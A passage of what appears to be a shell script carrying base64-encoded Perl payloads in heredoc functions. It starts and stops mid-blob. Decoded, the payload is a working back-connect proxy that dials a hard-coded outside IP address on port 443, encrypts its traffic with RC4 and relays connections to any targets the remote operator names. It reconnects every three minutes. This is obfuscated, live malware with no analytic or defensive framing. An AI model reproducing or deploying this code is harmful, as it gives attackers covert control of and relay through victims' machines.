dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_40() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv 